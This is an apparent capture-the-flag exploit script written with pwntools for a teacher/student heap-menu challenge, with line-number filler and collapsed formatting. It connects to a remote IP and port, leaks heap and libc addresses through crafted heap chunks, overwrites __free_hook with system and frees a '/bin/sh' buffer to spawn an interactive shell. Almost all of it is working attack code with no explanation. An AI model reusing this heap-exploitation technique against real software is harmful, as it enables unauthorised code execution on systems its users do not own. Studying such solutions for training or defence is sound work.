1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| from pwn import *
libc = ELF("./libc-2.31.so") io = remote("1.14.71.254", 28662) context.log_level = "debug"
def selete(role): io.sendlineafter(b"<0.teacher/1.student>: ", str(role))
def add(number): io.sendlineafter(b">> ", b'1') io.sendlineafter(b"enter the number of questions: ", str(number))
def give_score(): io.sendlineafter(b">> ", b'2')
def write_new_review(idx, size, content): io.sendlineafter(b">> ", b'3') io.sendlineafter(b"which one? > ", str(idx)) io.sendlineafter(b"please input the size of comment: ", str(size)) io.sendlineafter(b"enter your comment:", content)
def write_old_review(idx, content): io.sendlineafter(b">> ", b'3') io.sendlineafter(b"which one? > ", str(idx)) io.sendlineafter(b"enter your comment:", content)
def change_role(choice): io.sendlineafter(b">> ", b'5') io.sendlineafter(b"<0.teacher/1.student>: ", str(choice))
def pray(): io.sendlineafter(b">> ", b'3')
def delete(idx): io.sendlineafter(b">> ", b'4') io.sendlineafter(b"which student id to choose?", str(idx))
def set_id(idx): io.sendlineafter(b">> ", b'6') io.sendlineafter(b"input your id: ", str(idx))
def attack(): io.sendlineafter(b"choice>> ", b'2') io.recvuntil(b"reward! ") heap = int(io.recvuntil(b"\n", drop=True), 16) io.recvuntil(b"add 1 to wherever you want! addr: ") io.sendline(str(heap + 0x49).encode().ljust(15, b'\x00')) return heap selete(0) add(1) write_new_review(0, 0x380, b'Leof')
change_role(1) set_id(0) pray()
change_role(0) add(1) write_new_review(1, 0xa0, b'Leof')
add(1)
give_score() change_role(1) set_id(0)
heap = attack() print("heap: ", hex(heap))
change_role(0) delete(0) add(1)
payload = b'a'*0x338 + p64(0x31) + p64(heap + 0x410) + p64(0) * 4 + p64(0x21) + p64(1) + p64(heap + 0x430) + p64(6) write_new_review(2, 0x388, payload)
change_role(1) set_id(1) io.recvuntil(b">> ") io.sendline(b"2") io.recvuntil(b"\n") malloc_hook = u64(io.recv(6).ljust(8, b'\x00')) - 96 - 0x10 print("malloc_hook: ", hex(malloc_hook)) libcbase = malloc_hook - libc.sym['__malloc_hook'] sys_addr = libcbase + libc.sym['system'] free_hook = libcbase + libc.sym['__free_hook']
change_role(0) payload = b'/bin/sh\x00' + b'a'*0x330 + p64(0x31) + p64(heap + 0x410) + p64(0) * 4 + p64(0x21) + p64(1) + p64(free_hook) + p64(8) write_old_review(2, payload) write_old_review(1, p64(sys_addr)) delete(2) io.interactive()
|